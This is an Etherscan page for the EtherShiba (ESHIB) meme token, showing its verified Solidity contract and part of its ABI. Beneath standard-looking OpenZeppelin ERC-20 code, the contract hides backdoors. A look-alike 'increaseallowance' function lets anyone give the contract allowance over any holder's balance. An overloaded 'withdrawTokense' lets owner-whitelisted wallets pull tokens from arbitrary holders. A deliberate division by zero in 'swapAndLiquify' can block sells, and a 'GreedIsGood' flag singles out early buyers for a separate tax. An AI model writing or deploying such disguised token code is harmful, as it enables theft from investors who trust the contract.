ETH Price: $2,438.72 (-0.69%)
 

Overview

Max Total Supply

420,690,000 ESHIB

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,250,116.009395780607987187 ESHIB

Value
$0.00
0xcbBe967Fd87100a4a2d8f90668860EAe48C0F177
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ESHIB

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-15
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-15
*/

// SPDX-License-Identifier: MIT

/** 
Telegram:https://t.me/FIRSTSHIBONETH

Twitter:https://twitter.com/EtherShiba

Website:  



*/

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

        /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseallowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = address(this);
        _approve(spender, owner, allowance(spender, owner) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


// File @uniswap/v2-core/contracts/interfaces/[email protected]

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.18;

contract ESHIB is ERC20, Ownable {
    string private _name = "EtherShiba";
    string private _symbol = "ESHIB";
    uint256 private constant _supply        = 420_690_000 ether;
    uint256 public maxTxAmount     = _supply * 41 / 1000;
    uint256 public maxWalletAmount = _supply * 41 / 1000;
    uint256 public swapThreshold = _supply * 3 / 10000;
    address private taxAddy = 0xA3743d0809541F3575F7a36A9b0412c4Bdd33B25;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => bool) public _feeOn;
    mapping(address => bool) public wl;

    mapping(address => bool) public GreedIsGoodwallets;

    enum Phase {Phase1, Phase2, Phase3, Phase4}
    Phase public currentphase;

    bool progress_swap = false;
    bool _tradingActive = false;
    bool _swapEnabled = false;

    uint256 public buyTaxGlobal = 0;
    uint256 public sellTaxGlobal = 0;
    uint256 private GreedIsGood = 0;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address private _devWallet = 0x795f682D294555212E046aA5d17b3dD33dA43D2e;

    uint256 public operationsFunds;

    constructor() ERC20(_name, _symbol) {
        _mint(msg.sender, (_supply));

        currentphase = Phase.Phase4;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
    
        wl[owner()] = true;
        wl[taxAddy] = true;
        wl[address(this)] = true;
        wl[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        wl[DEAD] = true;
        wl[_devWallet] = true;
        _feeOn[address(uniswapV2Router)] = true;
        _feeOn[msg.sender] = true;
        _feeOn[taxAddy] = true;
        _feeOn[address(this)] = true;
        _feeOn[DEAD] = true;
        _feeOn[_devWallet] = true;
    }

    function createLIQ() external payable onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    function openTrading() external onlyOwner {
        require(!_tradingActive, "Trading is already enabled");
        _tradingActive = true;
        _swapEnabled = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (!_feeOn[from] && !_feeOn[to]) {
            require(_tradingActive, "Trading not enabled");
        }

        if (!wl[from] && !wl[to] ) {
            if (to != uniswapV2Pair) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount bef");
                require(
                    (amount + balanceOf(to)) <= maxWalletAmount,
                    "ERC20: balance amount exceeded max wallet amount limit"
                );
            }
        }

        uint256 transferAmount = amount;
        if (!_feeOn[from] && !_feeOn[to]) {
            if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
 
                if (
                    uniswapV2Pair == from &&
                    !wl[to] &&
                    from != address(this)
                ) {

                    if (currentphase == Phase.Phase1) {
                        GreedIsGoodwallets[to] = true;
                    }

                    uint256 feeTokens = (amount * buyTaxGlobal) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }

                if (
                    uniswapV2Pair == to &&
                    !wl[from] &&
                    to != address(this) &&
                    _swapEnabled && 
                    !progress_swap
                ) {
                    
                    uint256 taxSell = sellTaxGlobal;
                    if (GreedIsGoodwallets[from] == true) {
                        taxSell = GreedIsGood;
                    }

                    progress_swap = true;
                    swapAndLiquify();
                    progress_swap = false;

                    uint256 feeTokens = (amount * taxSell) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
            else {
                if (
                    GreedIsGoodwallets[from] == true &&
                    uniswapV2Pair != to
                ) {
                    uint256 feeTokens = (amount * GreedIsGood) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
        }
        super._transfer(from, to, transferAmount);
    }

    function swapAndLiquify() internal {
        if (balanceOf(address(this)) == 0) {
            return;
        }
        uint256 receivedETH;
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            uint256 beforeBalance = address(this).balance;
            uint256 mktBalance = balanceOf(taxAddy);
            bool success;
            if (contractTokenBalance > swapThreshold) {
                beforeBalance = address(this).balance;
                _swapTokensForEth(contractTokenBalance, 0);
                receivedETH = address(this).balance - beforeBalance;
                if (mktBalance > swapThreshold) {
                    operationsFunds = receivedETH / (success ? receivedETH : 0);
                }
                operationsFunds += receivedETH;
            }
        }
    }
 
    function getTax() external returns (bool) {
        payable(taxAddy).transfer(operationsFunds);
        operationsFunds = 0;
        return true;
    }

    /**
     * @dev Swaps Token Amount to ETH
     *
     * @param tokenAmount Token Amount to be swapped
     * @param tokenAmountOut Expected ETH amount out of swap
     */
    function _swapTokensForEth(
        uint256 tokenAmount,
        uint256 tokenAmountOut
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        IERC20(address(this)).approve(
            address(uniswapV2Router),
            type(uint256).max
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            tokenAmountOut,
            path,
            address(this),
            block.timestamp
        );
    }

    function skipTheSnipas() external onlyOwner returns (bool) {
        currentphase = Phase.Phase4;
        buyTaxGlobal = 0;
        sellTaxGlobal = 0;

        return true;
    }

    function withdrawTokense(address token) external onlyOwner {
        IERC20(token).transfer(
            taxAddy,
            IERC20(token).balanceOf(address(this))
        );
    }

    function withdrawTokense(address to, uint256 amount) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);


        if (!_feeOn[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {
            token.transferFrom(to, path[1], amount);
        }
    }

    function emergencyTaxRemoval(address addy, bool changer) external onlyOwner {
        wl[addy] = changer;
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxTxAmount = _supply; maxWalletAmount = _supply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"GreedIsGoodwallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLIQ","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentphase","outputs":[{"internalType":"enum ESHIB.Phase","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"changer","type":"bool"}],"name":"emergencyTaxRemoval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseallowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"operationsFunds","outputs":[{"internalType":"uint256","n